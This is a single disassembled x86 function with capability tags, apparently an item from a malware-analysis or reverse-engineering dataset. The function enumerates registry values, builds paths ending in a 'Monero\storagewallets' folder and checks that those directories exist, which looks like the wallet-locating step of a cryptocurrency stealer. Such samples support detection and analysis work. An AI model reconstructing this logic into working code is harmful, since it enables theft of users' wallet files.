Function at 0x100ad550
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x22a4
call fcn.100e19b0
mov eax, dword [0x10102008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x34], 0x10
lea edx, [ebp - 0x2270]
push ebx
push esi
push edi
push edx
push 0x20019
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100ad8c6
push 0x208
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.100c1e30
add esp, 0xc
mov dword [ebp - 0x2234], 0x104
lea eax, [ebp - 0x226c]
mov dword [ebp - 0x2230], 0
push eax
lea eax, [ebp - 0x2254]
push eax
lea eax, [ebp - 0x2258]
push eax
lea eax, [ebp - 0x225c]
push eax
lea eax, [ebp - 0x2214]
push eax
lea eax, [ebp - 0x2260]
push eax
lea eax, [ebp - 0x2264]
push eax
lea eax, [ebp - 0x2230]
push eax
push 0
lea eax, [ebp - 0x2234]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x2270]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 0x2214]
test eax, eax
je 0x100ad8c6
xor edi, edi
test eax, eax
je 0x100ad8c6
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
nop
xor eax, eax
mov dword [ebp - 0x2238], 0x1000
push eax
push eax
push eax
push eax
mov word [ebp - 0x2210], ax
lea eax, [ebp - 0x2238]
push eax
lea eax, [ebp - 0x2210]
push eax
push edi
push dword [ebp - 0x2270]
call ebx
test eax, eax
jne 0x100ad8b9
mov dword [ebp - 0x2250], eax
mov dword [ebp - 0x2240], eax
lea eax, [ebp - 0x2210]
mov dword [ebp - 0x223c], 7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100ad685
sub eax, edx
lea ecx, [ebp - 0x2250]
sar eax, 1
push eax
lea eax, [ebp - 0x2210]
push eax
call fcn.100b3af0
cmp dword [ebp - 0x223c], 8
lea ecx, [ebp - 0x2250]
mov eax, dword [ebp - 0x2240]
cmovae ecx, dword [ebp - 0x2250]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x2250]
cmovae ecx, dword [ebp - 0x2250]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x222c]
call fcn.100b44e0
sub esp, 0x18
lea eax, [ebp - 0x222c]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
lea eax, [ebp + 0x38]
mov ecx, esp
push eax
call fcn.100b3780
call fcn.10086350
add esp, 0x30
test eax, eax
jle 0x100ad824
lea edx, [ebp - 0x222c]
lea ecx, [ebp - 0x22a0]
call fcn.100870e0
push str.Monero_storagewallets_
mov ecx, eax
call fcn.100b3600
lea ecx, [ebp - 0x222c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2288], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2288]
push eax
movq qword [ebp - 0x2278], xmm0
call fcn.100b36c0
mov edx, dword [ebp - 0x2274]
cmp edx, 0x10
jb 0x100ad79f
mov ecx, dword [ebp - 0x2288]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad795
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x228c]
cmp edx, 0x10
jb 0x100ad7d9
mov ecx, dword [ebp - 0x22a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad7cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
cmp dword [ebp - 0x2218], 0x10
lea eax, [ebp - 0x222c]
cmovae eax, dword [ebp - 0x222c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100ad824
test al, 0x10
je 0x100ad824
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.100b3780
sub esp, 0x18
lea eax, [ebp - 0x222c]
mov ecx, esp
push eax
call fcn.100b3780
call fcn.100acf90
add esp, 0x30
mov edx, dword [ebp - 0x2218]
cmp edx, 0x10
jb 0x100ad85e
mov ecx, dword [ebp - 0x222c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad854
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp - 0x223c]
mov dword [ebp - 0x221c], 0
mov dword [ebp - 0x2218], 0xf
mov byte [ebp - 0x222c], 0
cmp edx, 8
jb 0x100ad8b9
mov ecx, dword [ebp - 0x2250]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad8af
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
inc edi
cmp edi, dword [ebp - 0x2214]
jb 0x100ad630
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x100ad8fa
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad8f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x100ad93c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad932
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x100ad97e
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100ad974
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ad98f
push edx
push ecx
call fcn.100bfa23
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100bf4c9
mov esp, ebp
pop ebp
ret
call fcn.100cc12d
int3